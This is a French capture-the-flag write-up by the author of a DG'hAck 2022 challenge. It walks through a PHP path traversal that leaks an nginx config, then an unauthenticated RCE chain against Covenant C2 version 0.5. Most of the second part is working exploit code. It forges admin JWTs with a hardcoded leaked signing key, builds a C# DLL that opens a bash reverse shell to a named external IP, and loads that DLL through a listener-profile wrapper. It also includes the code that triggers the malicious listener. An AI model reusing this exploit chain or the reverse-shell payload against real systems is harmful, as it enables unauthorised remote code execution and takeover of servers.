Contents

🕸️ Covenant, une RCE non-authentifiée ?

TL; DR;

J’ai eu la chance de pouvoir faire une suite de challenges web (easy et hard) pour le DG’hAck 2022.

Dans cet article vous allez donc trouver le write-up ainsi que quelques explications sur l’infrastructure en place pour le challenge. La suite de challenges était articulée de la manière suivante :

  • 1e partie : Path traversal, leak de la configuration nginx.
  • 2eme partie : Développement d’exploit, une RCE non-authentifiée sur Covenant.

Un chasseur sachant chasser… 1/2

Des analystes SOC du Ministère des Armées ont remarqué des flux suspicieux provenant de machines internes vers un site vitrine d’une entreprise. Pourtant ce site semble tout à fait légitime.

Vous avez été mandaté par la Direction Générale de l’Armement pour mener l’enquête. Trouvez un moyen de reprendre partiellement le contrôle du site web afin de trouver comment ce serveur joue un rôle dans l’infrastructure de l’acteur malveillant.

Aucun fuzzing n’est nécessaire.

Le flag se trouve sur le serveur à l’endroit permettant d’en savoir plus l’infrastructure de l’attaquant.

Reconnaissance

En arrivant sur la page du challenge, on voit alors un site web d’un diner burger. Qui ne ressemble en rien à celui d’un acteur malveillant comme indiqué dans la description du challenge.

Une des premières choses à faire en arrivant sur un challenge de Web est de regarder quelles sont les fonctionnalités qui marchent bel et bien sur le site.
La seule ici, qui n’est pas de la consultation d’un site vitrine, est le téléchargement du menu du restaurant.

J’aime également afficher une stacktrace sur le serveur web afin d’en apprendre plus sur le service hébergeant le site. Si on visite une page qui n’existe pas, on apprend que le service dérrière est : nginx/1.22.0.

En temps normal, cette information ne serait pas très utile car le serveur est bien à jour. Mais ici le but est de trouver une information sur l’infrastructure de l’attaquant, elle nous sera donc utile pour la suite.

Exploitation

Pour télécharger le menu du restaurant, on fait en fait un appel à /download.php?menu=menu_updated_09_11_2022.jpg.

Si on arrivait à contrôler le téléchargement, on pourrait alors récupérer n’importe quel fichier sur le système d’exploitation que l’utilisateur avec lequel tourne le service nginx peut lire.

Essayons donc de lire la page download.php elle-même.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
curl "http://52.49.162.179/download.php?menu=download.php"

<?php
# Got it from : https://linuxhint.com/download_file_php/
# Should be safe uh ?
if(isset($_GET['menu'])){
  //Read the filename
  $filename = $_GET['menu'];
  //Check the file exists or not
  if(file_exists($filename)) {

    [...]

    //Read the size of the file
    readfile($filename, true);

La faille ici est le fait d’avoir mis le second argument de readfile() à true. En regardant la documentation de la fonction :

use_include_path
You can use the optional second parameter and set it to true, if you want to search for the file in the include_path, too.

Puisque l’on contrôle le premier arguement de la fonction, tous les fichiers que l’on donnera à télécharger nous seront renvoyés. En partant de ce principe, on peut alors lire n’importe quel fichier sur le système de fichier dont on a le droit de lecture avec l’utilisateur courant.

La bonne piste à suivre est celle d’afficher la configuration du nginx se situant dans /etc/nginx/nginx.conf :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
curl "http://52.49.162.179/download.php?menu=/etc/nginx/nginx.conf" 

[...]

# Поглощение веб-сайта : сделано.
# Это правило заключается в том, чтобы стать нашим редиректором c2.
# Covenant 0.5 работает на докере Linux.
# Порт GRUNT должен быть tcp/8000-8250.
# DGA{L3s_D0ux_Burg3r5_se_s0nt_f4it_pwn_:(}

location ^~ /1d8b4cf854cd42f4868849c4ce329da72c406cc11983b4bf45acdae0805f7a72 {
  rewrite /1d8b4cf854cd42f4868849c4ce329da72c406cc11983b4bf45acdae0805f7a72/(.*) /$1 break;
  proxy_pass https://covenant:7443;

Ce sont les derniers commentaires du fichier qui nous intéressent. Ils sont écrits en cyrilique alors que les autres commentaires sont en anglais.

On y apprend alors que le site s’est fait pirater, il redirige le flux de la route /1d8b4cf854cd42f4868849c4ce329da72c406cc11983b4bf45acdae0805f7a72 vers le Command and Control de l’attaquant.

Le C2 de l’attaquant est un Covenant tournant sur un docker linux en version 0.5.

Si on veut accéder aux GRUNTs (équivalent des beacons sous Cobalt Strike), il faudra alors utiliser un port dans la range tcp/8000-8250.

On y trouve également le flag de la première étape.

Un chasseur sachant chasser… 2/2

A présent que vous avez une idée de l’infrastructure de l’attaquant, il vous est demandé de l’exploiter. Prenez totalement le contrôle du CnC.

Aucun bruteforce n’est nécessaire.

Le flag se trouve dans /flag.txt.

Documentation

Grâce à l’étape précédente, on sait que l’on a affaire à un Covenant en version 0.5. Covenant est un Command and Control écrit en C#. Pour accéder à l’interface d’administration du C2 ainsi qu’à l’API, il faut utiliser le port ssl/7443. Cette dernière ne doit normalement pas être accessible depuis internet, pour des raisons de sécurité évidentes.

La sécurité de l’attaquant a été de définir une condition pour que les personnes ne connaissant pas la bonne route à appeller, ne puissent pas intéragir avec le CnC. Cette mécanique est plus communément appellée “redirector”. En plus d’avoir une optique de sécurité, cela permet de ne pas à avoir redéployer de C2 en cas de blacklist son adresse IP. Il suffit juste de changer de “redirector” et de rediriger le flux vers notre CnC.

Revenons en au challenge. Si l’on recherche covenant c2 0.5 vulnerability, on tombe alors sur plusieurs ressources intéressantes. Un premier article de PortSwigger expliquant qu’une vulnérabilité a été trouvée sur la version 0.5 de Covenant. Faisant alors référence à l'article de l’auteur, coastal.

Dans ce dernier il nous explique comment il a enchaîné deux vulnérabilités afin d’avoir une RCE non-authentifiée sur le serveur :

  • La première est que le développeur du framework a malencontreusement poussé la clé privée permettant de signer les tokens JWT, sur github. Suite à ça un attaquant peut alors utiliser l’API avec les droits d’administration.
  • La seconde est que malgré les restrictions du compilateur, il est possible d’insérer une DLL qui sera exécutée au moment du décodage en base64 de celle-ci. Cette dernière permettant alors d’exécuter du code côté serveur.

Le blog restant assez vague sur certains points, il va alors falloir soit :

  • Prendre en main le framework et développer son propre exploit.
  • Faire un peu d’OSINT et voir si quelqu’un ne l’a pas déjà fait pour nous.

Dans cet article, nous couvrirons les deux. Dans un premier temps, nous verrons comment réparer l’exploit metasploit. Puis comment créer notre prople exploit afin de mieux comprendre comment tout cela marche !

Etude de l’existant

Dans les réponses du tweet annonçant une vulnérabilité critique sur cette version du framework, un français a posté le code source de son module metasploit (nécessitant quelques modifications). Pour charger ce module dans metasploit, il faudra le placer dans les modules déjà existants :

1
2
wget https://raw.githubusercontent.com/Zeop-CyberSec/covenant_rce/master/covenant_jwt_rce.rb
sudo mv covenant_jwt_rce.rb /usr/share/metasploit-framework/modules/exploits/windows/
Modification du module metasploit

Le timestamp du token initialement créé à partir de la secret key est expiré à l’heure où j’écris ces lignes. On va alors aller le modifier à la ligne 129 et mettre un timestamp valide.

L’api ici nécessitant de passer par le redirector, on va devoir adapter le code pour que le prefix de la route soit celui trouvé dans le fichier nginx.conf. Dans la fonction request_api, ligne 317, on va alors modifier le code ainsi :

1
2
3
4
5
6
7
8
9
def request_api(method, uri, data = nil)
  headers = {}
  headers['Authorization'] = "Bearer #{@token}"

  request = {
    'method' => method,
    'uri' => "/1d8b4cf854cd42f4868849c4ce329da72c406cc11983b4bf45acdae0805f7a72#{uri}",
    'headers' => headers
  }

Etant donné que l’on ne connait pas l’adresse IP interne du Covenant, on va définir que les listener profiles vont écouter sur toutes les interfaces en mettant 0.0.0.0 :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
def create_listener(profile_id)
  data = {
    'useSSL': false,
    'urls': [
      "http://0.0.0.0:#{datastore['C2_RPORT']}"
    ],
    'id': 0,
    'name': @listener_name,
    'bindAddress': "0.0.0.0",
    'bindPort': datastore['C2_RPORT'],
    'connectAddresses': [
      "0.0.0.0"
    ],
    'connectPort': datastore['C2_RPORT'],
    'profileId': profile_id.to_i,
    'listenerTypeId': read_listener_type('HTTP'),
    'status': 'Active'
  }

La payload harcodée et qui va être exécutée ici est cmd /c calc.exe. Or, si l’on se réfère au nginx.conf, la machine sur laquelle tourne Covenant est un docker linux. De plus nous cherchons à avoir le flag se trouvant à la racine du serveur. Pour ce faire, voir le chapitre de la création de la charge utile.

Pour finir, l’exploit va vérifier que le port du listener qui a été choisi, est bien ouvert sur la machine. Ici, les ports sont exposés par le docker. L’exploit comprendra donc qu’ils sont déjà utilisés. C’est pourquoi on commentera les lignes 408-410 :

1
2
3
4
  # check for active listener conflict.
  # if check_tcp_port(datastore['RHOSTS'], datastore['C2_RPORT'])
  #   fail_with(Failure::Unknown, "Covenant C2 have already tcp/#{datastore['C2_RPORT']} opened.")
  # end

A présent on peut appeller notre module de cette manière :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
# Sur un VPS
nc -lvnp 1337

# Sur un terminal avec metasploit et le module chargé
msfconsole -q -x 'use exploit/windows/covenant_jwt_rce;
set RHOSTS 52.49.162.179;
set RPORT 80;
set SSL false;
set C2_RPORT <port 8000-8250>;
run'

Et on a notre RCE !

Exploitation

A présent on va se pencher sur le développement de notre propre exploit, en python. Pour ce faire, on va s’aider de la documentation mise à disposition ainsi que le module metasploit puisque l’on sait qu’il marche.

Pour s’aider avec les différentes routes de l’API, il est conseillé d’avoir la configuration de celle-ci. Pour ce faire, on va instancier un docker local vulnérable pour faire nos tests.

1
2
3
4
/usr/bin/git clone --recurse-submodules -b "v0.5" --single-branch "https://github.com/cobbr/Covenant" ./Covenant 
cd Covenant/Covenant 
/usr/bin/docker build -t covenant-dghack . 
/usr/bin/docker run -it -p 7443:7443 -p 80:80 -p 443:443 --name covenant-dghack covenant-dghack 

En se connectant sur le docker, on peut alors afficher /app/API/openapi.json :

1
2
3
docker ps -a 
# Récupérer le CONTAINER ID du covenant. 
docker exec -it <ContainerID> cat /app/API/openapi.json

Ce qui va nous donner la définition de toutes les routes, les méthodes d’accès, etc. Pour la version vulnérable.

Usurpation de l’identité de l’administrateur

Comme on peut le lire dans l’article, afin d’échanger avec l’API on a besoin d’un compte autorisé. C’est pourquoi le commit de la clé privé est très dangereux, il permet d’avoir un accès à l’application sans connaître ni les utilisateurs enregistrés, ni leurs mots de passe.

Toujours est-il qu’ici nous aurons besoin d’avoir un compte qui existe bien sur l’application et qui possède les droits d’administration. Heureusement pour nous, l’API permet de lister les utilisateurs, leurs rôles, etc.

On va donc devoir créer et signer un premier JWT, ce token aura pour unique but de faire des appels à l’API afin de récupérer les informations nécessaires pour usuper l’identité de l’administrateur légitime.

Dans un premier temps, on va utiliser la clé privée trouvée dans le commit pour signer notre propre token :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import random
import jwt  # pip3 install PyJWT
from urllib.parse import urlparse
from time import time

def random_hex(length):
  alphabet = "0123456789abcdef"
  return ''.join(random.choice(alphabet) for _ in range(length))

def craft_jwt(username, userid=f"{random_hex(8)}-{random_hex(4)}-{random_hex(4)}-{random_hex(4)}-{random_hex(12)}"):
  secret_key = '%cYA;YK,lxEFw[&P{2HwZ6Axr,{e&3o_}_P%NX+(q&0Ln^#hhft9gTdm\'q%1ugAvfq6rC'

  payload_data = {
    "sub": username,
    "jti": "925f74ca-fc8c-27c6-24be-566b11ab6585",
    "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": userid,
    "http://schemas.microsoft.com/ws/2008/06/identity/claims/role": [
        "User",
        "Administrator"
    ],
    "exp": int(time()) + 360,
    "iss": "Covenant",
    "aud": "Covenant"
  }

  token = jwt.encode(payload_data, secret_key, algorithm='HS256')
  return token


if __name__ == "__main__":
  #[... Args ...]
  IP_TARGET = urlparse(args.target).hostname

  print("[*] Getting the admin info")
  sacrificial_token = craft_jwt("xThaz")

Puis on va utiliser ce token pour récupérer les informations nécessaires et usurper l’identité de l’administrateur et créer un nouveau token avec les bons droits :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from requests import request  # pip3 install requests
import warnings

def request_api(method, token, route, body=""):
  warnings.simplefilter('ignore', InsecureRequestWarning)

  return request(
      method,
      f"{args.target}/api/{route}",
      json=body,
      headers={
          "Authorization": f"Bearer {token}",
          "Content-Type": "application/json"
      },
      verify=False
  )

def get_id_admin(token, json_roles):
  id_admin = ""
  for role in json_roles:
      if role["name"] == "Administrator":
          id_admin = role["id"]
          print(f"\t[*] Found the admin group id : {id_admin}")
          break
  else:
      print("\t[!] Did not found admin group id, quitting !")
      exit(-1)

  id_admin_user = ""
  json_users_roles = request_api("get", token, f"users/roles").json()
  for user_role in json_users_roles:
      if user_role["roleId"] == id_admin:
          id_admin_user = user_role["userId"]
          print(f"\t[*] Found the admin user id : {id_admin_user}")
          break
  else:    
      print("\t[!] Did not found admin id, quitting !")
      exit(-1)

  json_users = request_api("get", token, f"users").json()
  for user in json_users:
      if user["id"] == id_admin_user:
          username_admin = user["userName"]
          print(f"\t[*] Found the admin username : {username_admin}")
          return username_admin, id_admin_user
  else:    
      print("\t[!] Did not found admin username, quitting !")
      exit(-1)

if __name__ == "__main__":
  roles = request_api("get", sacrificial_token, "roles").json()
  admin_username, admin_id = get_id_admin(sacrificial_token, roles)
  impersonate_token = craft_jwt(admin_username, admin_id)
  print(f"\t[*] Impersonated {[admin_username]} with the id {[admin_id]}")

Création de la charge utile

Comme il est décrit dans l’article : le but va donc être d’insérer une DLL, exécutant des commandes côté serveur, dans un listener profile. A savoir que le docker sur lequel tourne le covenant est une machine linux. La DLL écrite en C# devra donc exécuter une commande bash pour notre reverse shell.

En se basant sur les ressources données par l’auteur de l’article, on peut utiliser cette base pour la DLL.

C’est dans le Main que l’on va pouvoir exécuter des commandes bash que l’on passera à la fonction System.Diagnostics.Process.Start(); :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
using System;
using System.Reflection;

namespace ExampleDLL{
  public class Class1{
    public Class1(){
    }

    public void Main(string[] args){
      System.Diagnostics.Process.Start("bash", "-c \"exec bash -i &>/dev/tcp/51.75.120.170/1337 <&1\"");
    }
  }
}

Pour compiler une DLL C#, il existe deux méthodes :

  • Avoir Visual Studio, nécessitant windows
  • Utiliser la librairie mono, disponible sous linux
Compilation avec Visual Studio

Dans un premier temps, il va nous falloir une machine avec windows. On prendra alors soin d’utiliser une machine virtuelle dans notre cas.

Pour ce faire, il faut télécharger l’ISO de windows 11. Puis créer une machine virtuelle sans oublier de suivre ce tuto, permettant de contourner le fait que l’on n’ai pas de puce TPM sur notre machine virtuelle.

Il faut alors télécharger Visual Studio Community et installer le module nécessaire pour compiler du C# : .NET desktop development.

Comme expliqué dans ce tuto, il faut créer une projet Class Library (.NET Framework).

Il faut ensuite insérer le code de la DLL dans le nouveau projet, puis le compiler. Pour ce faire, il faut utiliser le raccourcis CTRL + SHIFT + B et récupérer la DLL dans C:\Users\<User>\source\repos\<NomDuProjet>\<NomDuProjet>\bin\Debug.

Compilation avec Mono

Mono n’étant pas installé par défaut et ne faisant pas parti des paquets par défaut sur linux, il va falloir ajouter le repository du projet dans nos sources.

1
2
3
4
5
sudo apt install gnupg ca-certificates
sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv-keys 3FA7E0328081BFF6A14DA29AA6A19B38D3D831EF
echo "deb https://download.mono-project.com/repo/ubuntu stable-focal main" | sudo tee /etc/apt/sources.list.d/mono-official-stable.list
sudo apt update
sudo apt install mono-devel

A présent le binaire mcs devrait être disponible. On peut alors automatiser la génération et l’encodage des DLL de cette manière :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import base64
from subprocess import run
from pathlib import Path
from shutil import which
from os import remove

def compile_payload():
  payload = '"bash", "-c \\"exec bash -i &>/dev/tcp/' + args.lhost + '/' + args.lport + ' <&1\\""'

  dll = "<Code source de la DLL C# précédemment décrite>"

  temp_dll_path = f"/tmp/{random_hex(8)}"
  Path(f"{temp_dll_path}.cs").write_bytes(dll.encode())
  print(f"\t[*] Writing payload in {temp_dll_path}.cs")

  compilo_path = which("mcs")
  compilation = run([compilo_path, temp_dll_path + ".cs", "-t:library"])
  if compilation.returncode:
    print("\t[!] Error when compiling DLL, quitting !")
    exit(-1)
  print(f"\t[*] Successfully compiled the DLL in {temp_dll_path}.dll")

  dll_encoded = base64.b64encode(Path(f"{temp_dll_path}.dll").read_bytes()).decode()

  remove(temp_dll_path + ".cs")
  remove(temp_dll_path + ".dll")
  print(f"\t[*] Removed {temp_dll_path}.cs and {temp_dll_path}.dll")
  return dll_encoded

if __name__ == "__main__":
  print("[*] Generating payload")
  dll_encoded = compile_payload()

Génération du wrapper

Maintenant que l’on a notre reverse shell compilé en DLL, il faut faire en sorte que covenant l’exécute au moment de l’infection d’une nouvelle machine.

Toujours en reprenant l’article, on peut créer un listener profile en C#. Mais celui-ci ne peut pas utiliser toutes les classes et namespaces car le compilateur utilise uniquement la librairie System.Private.CoreLib.dll. Il est alors impossible d’accéder à l’entièreté du namespace System.

Par chance, comme il est décrit dans cet article, pour faire de l’injection de process en C#, nous devons seulement avoir accès aux classes Activator et Assembly. Coastal, l’a bien expliqué dans son blog, avec covenant, on a accès à ces classes.

Le wrapper qui va se charger de décoder et d’exécuter la DLL ressemble alors à ceci :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public static class MessageTransform {
  public static string Transform(byte[] bytes) {
    try {
      string assemblyBase64 = "<DLL encodée en base 64>";
      var assemblyBytes = System.Convert.FromBase64String(assemblyBase64);
      var assembly = System.Reflection.Assembly.Load(assemblyBytes);
      foreach (var type in assembly.GetTypes()) {
        object instance = System.Activator.CreateInstance(type);
        object[] args = new object[] { new string[] { "" } };
        try {
          type.GetMethod("Main").Invoke(instance, args);
        }
        catch {}
      }
    }
    catch {}
    return System.Convert.ToBase64String(bytes);
  }

  public static byte[] Invert(string str) {
    return System.Convert.FromBase64String(str);
  }
}

Création du Listener Profile

Maintenant que l’on a le wrapper qui va exécuter notre reverse shell, on va pouvoir créer le listener profile qui va servir de base pour nos listeners.

Ici le but est de fournir le bon objet json à la route /api/profiles/http. Ce qui va nous retourner l’id de notre nouveau listener profile.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
def upload_profile(token, wrapper):
  body = {
    'httpUrls': [
      '/en-us/index.html',
      '/en-us/docs.html',
      '/en-us/test.html'
    ],
    'httpRequestHeaders': [
      {
        'name': 'User-Agent',
        'value': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36'
      },
      {'name': 'Cookie', 'value': 'ASPSESSIONID={GUID}; SESSIONID=1552332971750'}
    ],
    'httpResponseHeaders': [
      {'name': 'Server', 'value': 'Microsoft-IIS/7.5'}
    ],
    'httpPostRequest': 'i=a19ea23062db990386a3a478cb89d52e&data={DATA}&session=75db-99b1-25fe4e9afbe58696-320bea73',
    'httpGetResponse': '{DATA}',
    'httpPostResponse': '{DATA}',
    'id': 0,
    'name': random_hex(8),
    'description': '',
    'type': 'HTTP',
    'messageTransform': wrapper
  }

  response = request_api("post", token, "profiles/http", body)

  if not response.ok:
    print("\t[!] Failed to create the listener profile, quitting !")
    exit(-1)
  else:
    profile_id = response.json().get('id')
    print(f"\t[*] Profile created with id {profile_id}")
    print("\t[*] Successfully created the listener profile")
    return profile_id

if __name__ == "__main__":
  print("[*] Uploading malicious listener profile")
  profile_id = upload_profile(impersonate_token, wrapper)

Création du Listener

A présent il faut créer le listener qui sera exécuté au moment de l’infection d’une nouvelle machine. Ce dernier se basera sur le profile malveillant précédemment créé.

Dans un premier temps, on va s’assurer que le port d’écoute que l’on compte prendre, n’est pas déjà utilisé par l’attaquant ou un autre joueur :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
import random

def generate_valid_listener_port(impersonate_token, tries=0):
  if tries >= 10:
    print("\t[!] Tried 10 times to generate a listener port but failed, quitting !")
    exit(-1)

  port = random.randint(8000, 8250)
  listeners = request_api("get", impersonate_token, "listeners").json()

  port_used = []
  for listener in listeners:
    port_used.append(listener["bindPort"])

  if port in port_used:
    print(f"\t[!] Port {port} is already taken by another listener, retrying !")
    generate_valid_listener_port(impersonate_token, tries + 1)
  else:
    print(f"\t[*] Port {port} seems free")
    return port

Il est important de noter que l’on ne connait pas l’IP du covenant. Il faudra alors créer un listener qui écoute sur toutes les adresses du CnC grâce à l’adresse de binding 0.0.0.0.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
def get_id_listener_type(impersonate_token, listener_name):
  response = request_api("get", impersonate_token, "listeners/types")
  if not response.ok:
    print("\t[!] Failed to get the listener type, quitting !")
    exit(-1)
  else:
    for listener_type in response.json():
      if listener_type["name"] == listener_name:
        print(f'\t[*] Found id {listener_type["id"]} for listener {listener_name}')
        return listener_type["id"]

def generate_listener(impersonate_token, profile_id):
  listener_port = generate_valid_listener_port(impersonate_token)
  listener_name = random_hex(8)
  data = {
    'useSSL': False,
    'urls': [
      f"http://0.0.0.0:{listener_port}"
    ],
    'id': 0,
    'name': listener_name,
    'bindAddress': "0.0.0.0",
    'bindPort': listener_port,
    'connectAddresses': [
      "0.0.0.0"
    ],
    'connectPort': listener_port,
    'profileId': profile_id,
    'listenerTypeId': get_id_listener_type(impersonate_token, "HTTP"),
    'status': 'Active'
  }

  response = request_api("post", impersonate_token, "listeners/http", data)

  if not response.ok:
    print("\t[!] Failed to create the listener, quitting !")
    exit(-1)
  else:
    print("\t[*] Successfully created the listener")
    listener_id = response.json().get("id")
    return listener_id, listener_port

if __name__ == "__main__":
  print("[*] Generating listener")
  listener_id, listener_port = generate_listener(impersonate_token, profile_id)

Instanciation d’un GRUNT

Maintenant que tout notre environnement est créé, il ne nous reste plus qu' à simuler l’infection d’une nouvelle machine. Ce qui va mettre “en ligne” notre listener et exécuter notre charge utile défini dans le listener profile.

Les communications entre les machines infectées et covenant étant chiffrées, il faut alors récupérer la configuration AES (clé AES et le préfixe GUID que le GRUNT doit avoir) de l’échange.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import re

def create_grunt(impersonate_token, data):
  stager_code = request_api("put", impersonate_token, "launchers/binary", data).json()["stagerCode"]
  if stager_code == "":
    stager_code = request_api("post", impersonate_token, "launchers/binary", data).json()["stagerCode"]
    if stager_code == "":
      print("\t[!] Failed to create the grunt payload, quitting !")
      exit(-1)

  print("\t[*] Successfully created the grunt payload")
  return stager_code

def get_grunt_config(impersonate_token, listener_id):
  data = {
    'id': 0,
    'listenerId': listener_id,
    'implantTemplateId': 1,
    'name': 'Binary',
    'description': 'Uses a generated .NET Framework binary to launch a Grunt.',
    'type': 'binary',
    'dotNetVersion': 'Net35',
    'runtimeIdentifier': 'win_x64',
    'validateCert': True,
    'useCertPinning': True,
    'smbPipeName': 'string',
    'delay': 0,
    'jitterPercent': 0,
    'connectAttempts': 0,
    'launcherString': 'GruntHTTP.exe',
    'outputKind': 'consoleApplication',
    'compressStager': False
  }

  stager_code = create_grunt(impersonate_token, data)
  aes_key = re.search(r'FromBase64String\(@\"(.[A-Za-z0-9+\/=]{40,50}?)\"\);', stager_code)
  guid_prefix = re.search(r'aGUID = @"(.{10}[0-9a-f]?)";', stager_code)
  if not aes_key or not guid_prefix:
    print("\t[!] Failed to retrieve the grunt configuration, quitting !")
    exit(-1)

  aes_key = aes_key.group(1)
  guid_prefix = guid_prefix.group(1)
  print(f"\t[*] Found the grunt configuration {[aes_key, guid_prefix]}")
  return aes_key, guid_prefix

if __name__ == "__main__":
  print("[*] Triggering the exploit")
  aes_key, guid_prefix = get_grunt_config(impersonate_token, listener_id)

Le message à envoyer à covenant pour dire qu’une nouvelle machine est infectée est celui que l’on a défini dans notre listener profile. Il faut alors scrupuleusement les respecter sinon le listener nous renverra un code d’erreur 500. Comme dit précédemment, l’échange avec le C2 est chiffré, on va devoir signer le message et en faire sa signature.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from os import urandom
from Crypto.Util.Padding import pad
from Crypto.Cipher import AES
from Crypto.Hash import HMAC, SHA256  # pip3 install pycryptodome

def aes256_cbc_encrypt(key, message):
  iv_bytes = urandom(16)
  key_decoded = base64.b64decode(key)
  encoded_message = pad(message.encode(), 16)

  cipher = AES.new(key_decoded, AES.MODE_CBC, iv_bytes)
  encrypted = cipher.encrypt(encoded_message)

  hmac = HMAC.new(key_decoded, digestmod=SHA256)
  signature = hmac.update(encrypted).digest()

  return encrypted, iv_bytes, signature

def trigger_exploit(listener_port, aes_key, guid):
  message = "<RSAKeyValue><Modulus>tqwoOYfwOkdfax+Er6P3leoKE/w5wWYgmb/riTpSSWCA6T2JklWrPtf9z3s/k0wIi5pX3jWeC5RV5Y/E23jQXPfBB9jW95pIqxwhZ1wC2UOVA8eSCvqbTpqmvTuFPat8ek5piS/QQPSZG98vLsfJ2jQT6XywRZ5JgAZjaqmwUk/lhbUedizVAnYnVqcR4fPEJj2ZVPIzerzIFfGWQrSEbfnjp4F8Y6DjNSTburjFgP0YdXQ9S7qCJ983vM11LfyZiGf97/wFIzXf7pl7CsA8nmQP8t46h8b5hCikXl1waEQLEW+tHRIso+7nBv7ciJ5WgizSAYfXfePlw59xp4UMFQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>"

  ciphered, iv, signature = aes256_cbc_encrypt(aes_key, message)
  data = {
    "GUID": guid,
    "Type": 0,
    "Meta": '',
    "IV": base64.b64encode(iv).decode(),
    "EncryptedMessage": base64.b64encode(ciphered).decode(),
    "HMAC": base64.b64encode(signature).decode()
  }

  json_data = json.dumps(data).encode("utf-8")
  payload = f"i=a19ea23062db990386a3a478cb89d52e&data={base64.urlsafe_b64encode(json_data).decode()}&session=75db-99b1-25fe4e9afbe58696-320bea73"

  if send_exploit(listener_port, "Cookie", guid, payload):
    print("\t[*] Exploit succeeded, check listener")
  else :
    print("\t[!] Exploit failed, retrying")
    if send_exploit(listener_port, "Cookies", guid, payload):
      print("\t[*] Exploit succeeded, check listener")
    else:
      print("\t[!] Exploit failed, quitting")

if __name__ == "__main__":
  trigger_exploit(listener_port, aes_key, f"{guid_prefix}{random_hex(10)}")

Le port écoutant du listener n’étant pas un réel serveur web, il est alors préférable d’utiliser une socket TCP pour envoyer la requête. D’expérience, il semblerait que l’exploit soit plus stable ainsi.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import remote, context  # pip3 install pwntools

def send_exploit(listener_port, header_cookie, guid, payload):
  context.log_level = 'error'

  request = f"""POST /en-us/test.html HTTP/1.1\r
Host: {IP_TARGET}:{listener_port}\r
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36\r
{header_cookie}: ASPSESSIONID={guid}; SESSIONID=1552332971750\r
Content-Type: application/x-www-form-urlencoded\r
Content-Length: {len(payload)}\r
\r
{payload}
""".encode()

  sock = remote(IP_TARGET, listener_port)
  sock.sendline(request)
  response = sock.recv().decode()
  sock.close()

  if "HTTP/1.1 200 OK" in response:
      return True
  else:
      return False

Plaisir et profit

Il ne reste plus qu’à ouvrir un netcat sur la machine avec laquelle on va recevoir la connexion de covenant et à lancer l’exploit.

1
2
3
4
5
# Sur un VPS
nc -lvnp 1337

# Sur un autre terminal
python3 covneant_jwt.py http://52.49.162.179/1d8b4cf854cd42f4868849c4ce329da72c406cc11983b4bf45acdae0805f7a72 linux 51.75.120.170 1337

A présent que l’on a reçu le reverse shell, on peut afficher le flag :

1
2
challenge@UnChasseurSachantChasser:/app$ cat /flag.txt
DGHACK{Un_Ch4ss3ur_s4chan7_cH4sseR_l3s_ch4ss3urs_3st_un_bon_hacker}

Conclusion

J’espère que les joueurs qui auront pris la peine de se casser les dents sur la partie deux, ont appris des choses et se sont amusés !

Mon exploit est enfin disponible sur Exploit-DB !

L’envers du décor

Malgré les quelques modifications faites par la DGA pour des raisons techniques, voici à quoi ressemblait l’architecture du challenge composée de deux dockers :

./Schema_Infra.png

Remerciements

Je tiens à remercier :

  • LwoLwo, pour avoir imaginé ce challenge avec moi.
  • La DGA, pour m’avoir laissé l’opportunité de créer une suite de challenges pour cet évènement. Plus particulièrement Quentin pour les conseils et avoir retravaillé mon challenge.
  • MasterfoxMasterfox, pour m’avoir aidé à rendre mon exploit moins immonde 😂.